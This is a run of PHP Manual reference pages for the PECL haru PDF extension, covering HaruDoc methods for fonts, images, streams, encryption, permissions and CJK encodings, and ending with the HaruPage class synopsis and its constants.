Description

string HaruDoc::getInfoAttr ( int $type )

Get the current value of the specified document attribute.

Parameters

type

The type of the attribute. The following values are available:

  • HaruDoc::INFO_AUTHOR
  • HaruDoc::INFO_CREATOR
  • HaruDoc::INFO_TITLE
  • HaruDoc::INFO_SUBJECT
  • HaruDoc::INFO_KEYWORDS
  • HaruDoc::INFO_CREATION_DATE
  • HaruDoc::INFO_MOD_DATE

Return Values

Returns the string value of the specified document attribute.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setInfoAttr() - Set the info attribute of the document
  • HaruDoc::setInfoDateAttr() - Set the datetime info attributes of the document

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::getFont
HaruDoc::getPageLayout
HaruDoc


Get current page layout

HaruDoc::getInfoAttr
HaruDoc::getPageMode
HaruDoc
PHP Manual

HaruDoc::getPageLayout

(PECL haru >= 0.0.1)

HaruDoc::getPageLayout — Get current page layout

Description

int HaruDoc::getPageLayout ( void )

Get the current page layout. See HaruDoc::setPageLayout() for the list of possible values.

Parameters

This function has no parameters.

Return Values

Returns the page layout currently set in the document or FALSE if page layout was not set. See HaruDoc::setPageLayout() for the list of possible values.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setPageLayout() - Set how pages should be displayed

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::getInfoAttr
HaruDoc::getPageMode
HaruDoc


Get current page mode

HaruDoc::getPageLayout
HaruDoc::getStreamSize
HaruDoc
PHP Manual

HaruDoc::getPageMode

(PECL haru >= 0.0.1)

HaruDoc::getPageMode — Get current page mode

Description

int HaruDoc::getPageMode ( void )

Get the current page mode. See HaruDoc::setPageMode() for the list of possible values.

Parameters

This function has no parameters.

Return Values

Returns the page mode currently set in the document. See HaruDoc::setPageMode() for the list of possible values.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setPageMode() - Set how the document should be displayed

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::getPageLayout
HaruDoc::getStreamSize
HaruDoc


Get the size of the temporary stream

HaruDoc::getPageMode
HaruDoc::insertPage
HaruDoc
PHP Manual

HaruDoc::getStreamSize

(PECL haru >= 0.0.1)

HaruDoc::getStreamSize — Get the size of the temporary stream

Description

int HaruDoc::getStreamSize ( void )

Get the size of the temporary stream.

Parameters

This function has no parameters.

Return Values

Returns the size of the data in the temporary stream of the document. The size is zero if the document was not saved to the temporary stream.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::saveToStream() - Save the document into a temporary stream
  • HaruDoc::resetStream() - Rewind the temporary stream
  • HaruDoc::readFromStream() - Read data from the temporary stream

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::getPageMode
HaruDoc::insertPage
HaruDoc


Insert new page just before the specified page

HaruDoc::getStreamSize
HaruDoc::loadJPEG
HaruDoc
PHP Manual

HaruDoc::insertPage

(PECL haru >= 0.0.1)

HaruDoc::insertPage — Insert new page just before the specified page

Description

object HaruDoc::insertPage ( object $page )

Creates a new page and inserts just before the specified page.

Parameters

page

A valid HaruPage instance.

Return Values

Returns a new HaruPage instance.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::addPage() - Add new page to the document

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::getStreamSize
HaruDoc::loadJPEG
HaruDoc


Load a JPEG image

HaruDoc::insertPage
HaruDoc::loadPNG
HaruDoc
PHP Manual

HaruDoc::loadJPEG

(PECL haru >= 0.0.1)

HaruDoc::loadJPEG — Load a JPEG image

Description

object HaruDoc::loadJPEG ( string $filename )

Loads the specified JPEG image.

Parameters

filename

A valid JPEG image file.

Return Values

Returns a new HaruImage instance.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::loadPNG() - Load PNG image and return HaruImage instance
  • HaruDoc::loadRAW() - Load a RAW image

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::insertPage
HaruDoc::loadPNG
HaruDoc


Load PNG image and return HaruImage instance

HaruDoc::loadJPEG
HaruDoc::loadRaw
HaruDoc
PHP Manual

HaruDoc::loadPNG

(PECL haru >= 0.0.1)

HaruDoc::loadPNG — Load PNG image and return HaruImage instance

Description

object HaruDoc::loadPNG ( string $filename [, bool $deferred = false ] )

Loads a PNG image.

Libharu might be built without libpng support, in this case each call to this function would result in exception.

Parameters

filename

The name of a PNG image file.

deferred

Do not load data immediately. You can set deferred parameter to TRUE for deferred data loading, in this case only size and color are loaded immediately.

Return Values

Returns a HaruImage instance.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::loadJPEG() - Load a JPEG image
  • HaruDoc::loadRAW() - Load a RAW image

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::loadJPEG
HaruDoc::loadRaw
HaruDoc


Load a RAW image

HaruDoc::loadPNG
HaruDoc::loadTTC
HaruDoc
PHP Manual

HaruDoc::loadRaw

(PECL haru >= 0.0.1)

HaruDoc::loadRaw — Load a RAW image

Description

object HaruDoc::loadRaw ( string $filename , int $width , int $height , int $color_space )

Loads a RAW image.

Parameters

filename

The name of a RAW image file.

width

The width of the image.

height

The height of the image.

color_space

The color space of the image. Can be one of the following values:

  • HaruDoc::CS_DEVICE_GRAY
  • HaruDoc::CS_DEVICE_RGB
  • HaruDoc::CS_DEVICE_CMYK

Return Values

Returns a HaruImage instance.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::loadJPEG() - Load a JPEG image
  • HaruDoc::loadPNG() - Load PNG image and return HaruImage instance

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::loadPNG
HaruDoc::loadTTC
HaruDoc


Load the font with the specified index from TTC file

HaruDoc::loadRaw
HaruDoc::loadTTF
HaruDoc
PHP Manual

HaruDoc::loadTTC

(PECL haru >= 0.0.1)

HaruDoc::loadTTC — Load the font with the specified index from TTC file

Description

string HaruDoc::loadTTC ( string $fontfile , int $index [, bool $embed = false ] )

Loads the TrueType font with the specified index from a TrueType collection file.

Parameters

fontfile

The TrueType collection file.

index

The index of the font in the collection file.

embed

When set to TRUE, the glyph data of the font is embedded into the PDF file, otherwise only the matrix data is included.

Return Values

Returns the name of the loaded font on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::loadTTF() - Load TTF font file
  • HaruDoc::loadType1() - Load Type1 font

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::loadRaw
HaruDoc::loadTTF
HaruDoc


Load TTF font file

HaruDoc::loadTTC
HaruDoc::loadType1
HaruDoc
PHP Manual

HaruDoc::loadTTF

(PECL haru >= 0.0.1)

HaruDoc::loadTTF — Load TTF font file

Description

string HaruDoc::loadTTF ( string $fontfile [, bool $embed = false ] )

Loads the given TTF file and (optionally) embed its data into the document.

Parameters

fontfile

The TTF file to load.

embed

When set to TRUE, the glyph data of the font is embedded into the PDF file, otherwise only the matrix data is included.

Return Values

Returns the name of the loaded font on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::loadTTC() - Load the font with the specified index from TTC file
  • HaruDoc::loadType1() - Load Type1 font

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::loadTTC
HaruDoc::loadType1
HaruDoc


Load Type1 font

HaruDoc::loadTTF
HaruDoc::output
HaruDoc
PHP Manual

HaruDoc::loadType1

(PECL haru >= 0.0.1)

HaruDoc::loadType1 — Load Type1 font

Description

string HaruDoc::loadType1 ( string $afmfile [, string $pfmfile ] )

Loads Type1 font from the given file and registers it in the PDF document.

Parameters

afmfile

Path to an AFM file.

pfmfile

Path to a PFA/PFB file, optional. If it's not set only the glyph data of the font is embedded into the PDF document.

Return Values

Returns the name of the loaded font on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::loadTTC() - Load the font with the specified index from TTC file
  • HaruDoc::loadTTF() - Load TTF font file

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::loadTTF
HaruDoc::output
HaruDoc


Write the document data to the output buffer

HaruDoc::loadType1
HaruDoc::readFromStream
HaruDoc
PHP Manual

HaruDoc::output

(PECL haru >= 0.0.1)

HaruDoc::output — Write the document data to the output buffer

Description

bool HaruDoc::output ( void )

Writes the document data into standard output.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::save() - Save the document into the specified file

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::loadType1
HaruDoc::readFromStream
HaruDoc


Read data from the temporary stream

HaruDoc::output
HaruDoc::resetError
HaruDoc
PHP Manual

HaruDoc::readFromStream

(PECL haru >= 0.0.1)

HaruDoc::readFromStream — Read data from the temporary stream

Description

string HaruDoc::readFromStream ( int $bytes )

Read data from the temporary stream.

Parameters

bytes

The bytes parameter specifies how many bytes to read, though the stream may contain less bytes than requested.

Return Values

Returns data from the temporary stream.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::saveToStream() - Save the document into a temporary stream
  • HaruDoc::resetStream() - Rewind the temporary stream
  • HaruDoc::getStreamSize() - Get the size of the temporary stream

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::output
HaruDoc::resetError
HaruDoc


Reset error state of the document handle

HaruDoc::readFromStream
HaruDoc::resetStream
HaruDoc
PHP Manual

HaruDoc::resetError

(PECL haru >= 0.0.1)

HaruDoc::resetError — Reset error state of the document handle

Description

bool HaruDoc::resetError ( void )

Once an error code is set, most of the operations, including I/O processing functions cannot be performed. In case if you want to continue after the cause of the error has been fixed, you have to invoke this function in order to reset the document error state.

Parameters

This function has no parameters.

Return Values

Always succeeds and returns TRUE.

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::readFromStream
HaruDoc::resetStream
HaruDoc


Rewind the temporary stream

HaruDoc::resetError
HaruDoc::save
HaruDoc
PHP Manual

HaruDoc::resetStream

(PECL haru >= 0.0.1)

HaruDoc::resetStream — Rewind the temporary stream

Description

bool HaruDoc::resetStream ( void )

Rewinds the temporary stream of the document.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::saveToStream() - Save the document into a temporary stream
  • HaruDoc::getStreamSize() - Get the size of the temporary stream
  • HaruDoc::readFromStream() - Read data from the temporary stream

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::resetError
HaruDoc::save
HaruDoc


Save the document into the specified file

HaruDoc::resetStream
HaruDoc::saveToStream
HaruDoc
PHP Manual

HaruDoc::save

(PECL haru >= 0.0.1)

HaruDoc::save — Save the document into the specified file

Description

bool HaruDoc::save ( string $file )

Saves the document into the specified file.

Parameters

file

The file to save the document to.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::output() - Write the document data to the output buffer

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::resetStream
HaruDoc::saveToStream
HaruDoc


Save the document into a temporary stream

HaruDoc::save
HaruDoc::setCompressionMode
HaruDoc
PHP Manual

HaruDoc::saveToStream

(PECL haru >= 0.0.1)

HaruDoc::saveToStream — Save the document into a temporary stream

Description

bool HaruDoc::saveToStream ( void )

Saves the document data into a temporary stream.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::resetStream() - Rewind the temporary stream
  • HaruDoc::getStreamSize() - Get the size of the temporary stream
  • HaruDoc::readFromStream() - Read data from the temporary stream

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::save
HaruDoc::setCompressionMode
HaruDoc


Set compression mode for the document

HaruDoc::saveToStream
HaruDoc::setCurrentEncoder
HaruDoc
PHP Manual

HaruDoc::setCompressionMode

(PECL haru >= 0.0.1)

HaruDoc::setCompressionMode — Set compression mode for the document

Description

bool HaruDoc::setCompressionMode ( int $mode )

Defines compression mode for the document. In case when libharu was compiled without Zlib support this function will always throw HaruException.

Parameters

mode

The compression mode to use. The value is a combination of the following flags:

  • HaruDoc::COMP_NONE - all contents is not compressed.
  • HaruDoc::COMP_TEXT - compress the text data.
  • HaruDoc::COMP_IMAGE - compress the image data.
  • HaruDoc::COMP_METADATA - compress other data (fonts, cmaps).
  • HaruDoc::COMP_ALL - compress all data.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::saveToStream
HaruDoc::setCurrentEncoder
HaruDoc


Set the current encoder for the document

HaruDoc::setCompressionMode
HaruDoc::setEncryptionMode
HaruDoc
PHP Manual

HaruDoc::setCurrentEncoder

(PECL haru >= 0.0.1)

HaruDoc::setCurrentEncoder — Set the current encoder for the document

Description

bool HaruDoc::setCurrentEncoder ( string $encoding )

Defines the encoder currently used in the document.

Parameters

encoding

The name of the encoding to use. See Builtin Encodings for the list of allowed values.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::setCompressionMode
HaruDoc::setEncryptionMode
HaruDoc


Set encryption mode for the document

HaruDoc::setCurrentEncoder
HaruDoc::setInfoAttr
HaruDoc
PHP Manual

HaruDoc::setEncryptionMode

(PECL haru >= 0.0.1)

HaruDoc::setEncryptionMode — Set encryption mode for the document

Description

bool HaruDoc::setEncryptionMode ( int $mode [, int $key_len = 5 ] )

Defines encryption mode for the document. The encryption mode cannot be set before setting the password.

Parameters

mode

The encryption mode to use. Can be one of the following:

  • HaruDoc::ENCRYPT_R2 - use "revision2" algorithm.
  • HaruDoc::ENCRYPT_R3 - use "revision3" algorithm. Using this value bumps the version of PDF to 1.4.

key_len

The encryption key length in bytes. This parameter is optional and used only when mode is HaruDoc::ENCRYPT_R3. The default value is 5 (40bit).

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setPassword() - Set owner and user passwords for the document
  • HaruDoc::setPermission() - Set permissions for the document

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::setCurrentEncoder
HaruDoc::setInfoAttr
HaruDoc


Set the info attribute of the document

HaruDoc::setEncryptionMode
HaruDoc::setInfoDateAttr
HaruDoc
PHP Manual

HaruDoc::setInfoAttr

(PECL haru >= 0.0.1)

HaruDoc::setInfoAttr — Set the info attribute of the document

Description

bool HaruDoc::setInfoAttr ( int $type , string $info )

Defines an info attribute. Uses the current encoding of the document.

Parameters

type

The type of the attribute. Can be one of the following:

  • HaruDoc::INFO_AUTHOR
  • HaruDoc::INFO_CREATOR
  • HaruDoc::INFO_TITLE
  • HaruDoc::INFO_SUBJECT
  • HaruDoc::INFO_KEYWORDS

info

The value of the attribute.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setInfoDateAttr() - Set the datetime info attributes of the document

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::setEncryptionMode
HaruDoc::setInfoDateAttr
HaruDoc


Set the datetime info attributes of the document

HaruDoc::setInfoAttr
HaruDoc::setOpenAction
HaruDoc
PHP Manual

HaruDoc::setInfoDateAttr

(PECL haru >= 0.0.1)

HaruDoc::setInfoDateAttr — Set the datetime info attributes of the document

Description

bool HaruDoc::setInfoDateAttr ( int $type , int $year , int $month , int $day , int $hour , int $min , int $sec , string $ind , int $off_hour , int $off_min )

Sets the datetime info attributes of the document.

Parameters

type

The type of the attribute. Can be one of the following:

  • HaruDoc::INFO_CREATION_DATE
  • HaruDoc::INFO_MOD_DATE

year

month

Between 1 and 12.

day

Between 1 and 31, 30, 29 or 28 (different for each month).

hour

Between 0 and 23.

min

Between 0 and 59.

sec

Between 0 and 59.

ind

The timezone relation to UTC, can be "", " ", "+", "-" and "Z".

off_hour

If ind is not " " or "", values between 0 and 23 are valid. Otherwise, this parameter is ignored.

off_min

If ind is not " " or "", values between 0 and 59 are valid. Otherwise, this parameter is ignored.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setInfoAttr() - Set the info attribute of the document

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::setInfoAttr
HaruDoc::setOpenAction
HaruDoc


Define which page is shown when the document is opened

HaruDoc::setInfoDateAttr
HaruDoc::setPageLayout
HaruDoc
PHP Manual

HaruDoc::setOpenAction

(PECL haru >= 0.0.1)

HaruDoc::setOpenAction — Define which page is shown when the document is opened

Description

bool HaruDoc::setOpenAction ( object $destination )

Defines which page should be shown when the document is opened.

Parameters

destination

A valid HaruDestination instance.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::setInfoDateAttr
HaruDoc::setPageLayout
HaruDoc


Set how pages should be displayed

HaruDoc::setOpenAction
HaruDoc::setPageMode
HaruDoc
PHP Manual

HaruDoc::setPageLayout

(PECL haru >= 0.0.1)

HaruDoc::setPageLayout — Set how pages should be displayed

Description

bool HaruDoc::setPageLayout ( int $layout )

Defines how pages should be displayed.

Parameters

layout

The following values are accepted:

  • HaruDoc::PAGE_LAYOUT_SINGLE - only one page is displayed.
  • HaruDoc::PAGE_LAYOUT_ONE_COLUMN - display the pages in one column.
  • HaruDoc::PAGE_LAYOUT_TWO_COLUMN_LEFT - display pages in two columns, first page left.
  • HaruDoc::PAGE_LAYOUT_TWO_COLUMN_RIGHT - display pages in two columns, first page right.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::getPageLayout() - Get current page layout

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::setOpenAction
HaruDoc::setPageMode
HaruDoc


Set how the document should be displayed

HaruDoc::setPageLayout
HaruDoc::setPagesConfiguration
HaruDoc
PHP Manual

HaruDoc::setPageMode

(PECL haru >= 0.0.1)

HaruDoc::setPageMode — Set how the document should be displayed

Description

bool HaruDoc::setPageMode ( int $mode )

Defines how the document should be displayed.

Parameters

mode

The following values are accepted:

  • HaruDoc::PAGE_MODE_USE_NONE - display the document with neither outline nor thumbnail.
  • HaruDoc::PAGE_MODE_USE_OUTLINE - display the document with outline pane.
  • HaruDoc::PAGE_MODE_USE_THUMBS - display the document with thumbnail pane.
  • HaruDoc::PAGE_MODE_FULL_SCREEN - display the document with full screen mode.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::getPageMode() - Get current page mode

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::setPageLayout
HaruDoc::setPagesConfiguration
HaruDoc


Set the number of pages per set of pages

HaruDoc::setPageMode
HaruDoc::setPassword
HaruDoc
PHP Manual

HaruDoc::setPagesConfiguration

(PECL haru >= 0.0.1)

HaruDoc::setPagesConfiguration — Set the number of pages per set of pages

Description

bool HaruDoc::setPagesConfiguration ( int $page_per_pages )

By default the document has one pages object as a root for all pages. All page objects are create as branches of this object. One pages object can contain only 8191, therefore the maximum number of pages per document is 8191. But you can change that fact by setting page_per_pages parameter, so that the root pages object contains 8191 more pages (not page) objects, which in turn contain 8191 pages each. So the maximum number of pages in the document becomes 8191*page_per_pages.

Parameters

page_per_pages

The numbers of pages that a pages object can contain.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::setPageMode
HaruDoc::setPassword
HaruDoc


Set owner and user passwords for the document

HaruDoc::setPagesConfiguration
HaruDoc::setPermission
HaruDoc
PHP Manual

HaruDoc::setPassword

(PECL haru >= 0.0.1)

HaruDoc::setPassword — Set owner and user passwords for the document

Description

bool HaruDoc::setPassword ( string $owner_password , string $user_password )

Defines owner and user passwords for the document. Setting the passwords makes the document contents encrypted.

Parameters

owner_password

The password of the owner, which can change permissions of the document. Empty password is not accepted. Owner's password cannot be the same as the user's password.

user_password

The password of the user. Can be empty.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setEncryptionMode() - Set encryption mode for the document
  • HaruDoc::setPermission() - Set permissions for the document

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::setPagesConfiguration
HaruDoc::setPermission
HaruDoc


Set permissions for the document

HaruDoc::setPassword
HaruDoc::useCNSEncodings
HaruDoc
PHP Manual

HaruDoc::setPermission

(PECL haru >= 0.0.1)

HaruDoc::setPermission — Set permissions for the document

Description

bool HaruDoc::setPermission ( int $permission )

Defines permissions for the document.

Parameters

permission

The values is a combination of these flags:

  • HaruDoc::ENABLE_READ - user can read the document.
  • HaruDoc::ENABLE_PRINT - user can print the document.
  • HaruDoc::ENABLE_EDIT_ALL - user can edit the contents of the document other than annotations and form fields.
  • HaruDoc::ENABLE_COPY - user can copy the text and the graphics of the document.
  • HaruDoc::ENABLE_EDIT - user can add or modify the annotations and form fields of the document.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setPassword() - Set owner and user passwords for the document
  • HaruDoc::setEncryptionMode() - Set encryption mode for the document

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::setPassword
HaruDoc::useCNSEncodings
HaruDoc


Enable Chinese simplified encodings

HaruDoc::setPermission
HaruDoc::useCNSFonts
HaruDoc
PHP Manual

HaruDoc::useCNSEncodings

(PECL haru >= 0.0.1)

HaruDoc::useCNSEncodings — Enable Chinese simplified encodings

Description

bool HaruDoc::useCNSEncodings ( void )

Enables Chinese simplified encodings.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::useCNSFonts() - Enable builtin Chinese simplified fonts

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::setPermission
HaruDoc::useCNSFonts
HaruDoc


Enable builtin Chinese simplified fonts

HaruDoc::useCNSEncodings
HaruDoc::useCNTEncodings
HaruDoc
PHP Manual

HaruDoc::useCNSFonts

(PECL haru >= 0.0.1)

HaruDoc::useCNSFonts — Enable builtin Chinese simplified fonts

Description

bool HaruDoc::useCNSFonts ( void )

Enables builtin Chinese simplified fonts.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::useCNSEncodings() - Enable Chinese simplified encodings

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::useCNSEncodings
HaruDoc::useCNTEncodings
HaruDoc


Enable Chinese traditional encodings

HaruDoc::useCNSFonts
HaruDoc::useCNTFonts
HaruDoc
PHP Manual

HaruDoc::useCNTEncodings

(PECL haru >= 0.0.1)

HaruDoc::useCNTEncodings — Enable Chinese traditional encodings

Description

bool HaruDoc::useCNTEncodings ( void )

Enables Chinese traditional encodings.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::useCNTFonts() - Enable builtin Chinese traditional fonts

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::useCNSFonts
HaruDoc::useCNTFonts
HaruDoc


Enable builtin Chinese traditional fonts

HaruDoc::useCNTEncodings
HaruDoc::useJPEncodings
HaruDoc
PHP Manual

HaruDoc::useCNTFonts

(PECL haru >= 0.0.1)

HaruDoc::useCNTFonts — Enable builtin Chinese traditional fonts

Description

bool HaruDoc::useCNTFonts ( void )

Enables builtin Chinese traditional fonts.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::useCNTEncodings() - Enable Chinese traditional encodings

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::useCNTEncodings
HaruDoc::useJPEncodings
HaruDoc


Enable Japanese encodings

HaruDoc::useCNTFonts
HaruDoc::useJPFonts
HaruDoc
PHP Manual

HaruDoc::useJPEncodings

(PECL haru >= 0.0.1)

HaruDoc::useJPEncodings — Enable Japanese encodings

Description

bool HaruDoc::useJPEncodings ( void )

Enables Japanese encodings.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::useJPFonts() - Enable builtin Japanese fonts

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::useCNTFonts
HaruDoc::useJPFonts
HaruDoc


Enable builtin Japanese fonts

HaruDoc::useJPEncodings
HaruDoc::useKREncodings
HaruDoc
PHP Manual

HaruDoc::useJPFonts

(PECL haru >= 0.0.1)

HaruDoc::useJPFonts — Enable builtin Japanese fonts

Description

bool HaruDoc::useJPFonts ( void )

Enables builtin Japanese fonts.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::useJPEncodings() - Enable Japanese encodings

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::useJPEncodings
HaruDoc::useKREncodings
HaruDoc


Enable Korean encodings

HaruDoc::useJPFonts
HaruDoc::useKRFonts
HaruDoc
PHP Manual

HaruDoc::useKREncodings

(PECL haru >= 0.0.1)

HaruDoc::useKREncodings — Enable Korean encodings

Description

bool HaruDoc::useKREncodings ( void )

Enables Korean encodings.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::useKRFonts() - Enable builtin Korean fonts

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::useJPFonts
HaruDoc::useKRFonts
HaruDoc


Enable builtin Korean fonts

HaruDoc::useKREncodings
HaruPage
HaruDoc
PHP Manual

HaruDoc::useKRFonts

(PECL haru >= 0.0.1)

HaruDoc::useKRFonts — Enable builtin Korean fonts

Description

bool HaruDoc::useKRFonts ( void )

Enables builtin Korean fonts.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::useKREncodings() - Enable Korean encodings

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::useKREncodings
HaruPage
HaruDoc


The HaruPage class

(No version information available, might only be in SVN)

Introduction

Haru PDF Page Class.

Class synopsis

HaruPage {
/* Methods */
bool arc ( float $x , float $y , float $ray , float $ang1 , float $ang2 )
bool beginText ( void )
bool circle ( float $x , float $y , float $ray )
bool closePath ( void )
bool concat ( float $a , float $b , float $c , float $d , float $x , float $y )
object createDestination ( void )
object createLinkAnnotation ( array $rectangle , object $destination )
object createTextAnnotation ( array $rectangle , string $text [, object $encoder ] )
object createURLAnnotation ( array $rectangle , string $url )
bool curveTo2 ( float $x2 , float $y2 , float $x3 , float $y3 )
bool curveTo3 ( float $x1 , float $y1 , float $x3 , float $y3 )
bool curveTo ( float $x1 , float $y1 , float $x2 , float $y2 , float $x3 , float $y3 )
bool drawImage ( object $image , float $x , float $y , float $width , float $height )
bool ellipse ( float $x , float $y , float $xray , float $yray )
bool endPath ( void )
bool endText ( void )
bool eofill ( void )
bool eoFillStroke ([ bool $close_path = false ] )
bool fill ( void )
bool fillStroke ([ bool $close_path = false ] )
float getCharSpace ( void )
array getCMYKFill ( void )
array getCMYKStroke ( void )
object getCurrentFont ( void )
float getCurrentFontSize ( void )
array getCurrentPos ( void )
array getCurrentTextPos ( void )
array getDash ( void )
int getFillingColorSpace ( void )
float getFlatness ( void )
int getGMode ( void )
float getGrayFill ( void )
float getGrayStroke ( void )
float getHeight ( void )
float getHorizontalScaling ( void )
int getLineCap ( void )
int getLineJoin ( void )
float getLineWidth ( void )
float getMiterLimit ( void )
array getRGBFill ( void )
array getRGBStroke ( void )
int getStrokingColorSpace ( void )
float getTextLeading ( void )
array getTextMatrix ( void )
int getTextRenderingMode ( void )
float getTextRise ( void )
float getTextWidth ( string $text )
array getTransMatrix ( void )
float getWidth ( void )
float getWordSpace ( void )
bool lineTo ( float $x , float $y )
int measureText ( string $text , float $width [, bool $wordwrap = false ] )
bool moveTextPos ( float $x , float $y [, bool $set_leading = false ] )
bool moveTo ( float $x , float $y )
bool moveToNextLine ( void )
bool rectangle ( float $x , float $y , float $width , float $height )
bool setCharSpace ( float $char_space )
bool setCMYKFill ( float $c , float $m , float $y , float $k )
bool setCMYKStroke ( float $c , float $m , float $y , float $k )
bool setDash ( array $pattern , int $phase )
bool setFlatness ( float $flatness )
bool setFontAndSize ( object $font , float $size )
bool setGrayFill ( float $value )
bool setGrayStroke ( float $value )
bool setHeight ( float $height )
bool setHorizontalScaling ( float $scaling )
bool setLineCap ( int $cap )
bool setLineJoin ( int $join )
bool setLineWidth ( float $width )
bool setMiterLimit ( float $limit )
bool setRGBFill ( float $r , float $g , float $b )
bool setRGBStroke ( float $r , float $g , float $b )
bool setRotate ( int $angle )
bool setSize ( int $size , int $direction )
bool setSlideShow ( int $type , float $disp_time , float $trans_time )
bool setTextLeading ( float $text_leading )
bool setTextMatrix ( float $a , float $b , float $c , float $d , float $x , float $y )
bool setTextRenderingMode ( int $mode )
bool setTextRise ( float $rise )
bool setWidth ( float $width )
bool setWordSpace ( float $word_space )
bool showText ( string $text )
bool showTextNextLine ( string $text [, float $word_space = 0 [, float $char_space = 0 ]] )
bool stroke ([ bool $close_path = false ] )
bool textOut ( float $x , float $y , string $text )
bool textRect ( float $left , float $top , float $right , float $bottom , string $text [, int $align = HaruPage::TALIGN_LEFT ] )
}

Predefined Constants

Type | Name | Description
int | HaruPage::GMODE_PAGE_DESCRIPTION |
int | HaruPage::GMODE_TEXT_OBJECT |
int | HaruPage::GMODE_PATH_OBJECT |
int | HaruPage::GMODE_CLIPPING_PATH |
int | HaruPage::GMODE_SHADING |
int | HaruPage::GMODE_INLINE_IMAGE |
int | HaruPage::GMODE_EXTERNAL_OBJECT |
int | HaruPage::BUTT_END |
int | HaruPage::ROUND_END |
int | HaruPage::PROJECTING_SCUARE_END |
int | HaruPage::MITER_JOIN |
int | HaruPage::ROUND_JOIN |
int | HaruPage::BEVEL_JOIN |
int | HaruPage::FILL |
int | HaruPage::STROKE |
int | HaruPage::FILL_THEN_STROKE |
int | HaruPage::INVISIBLE |
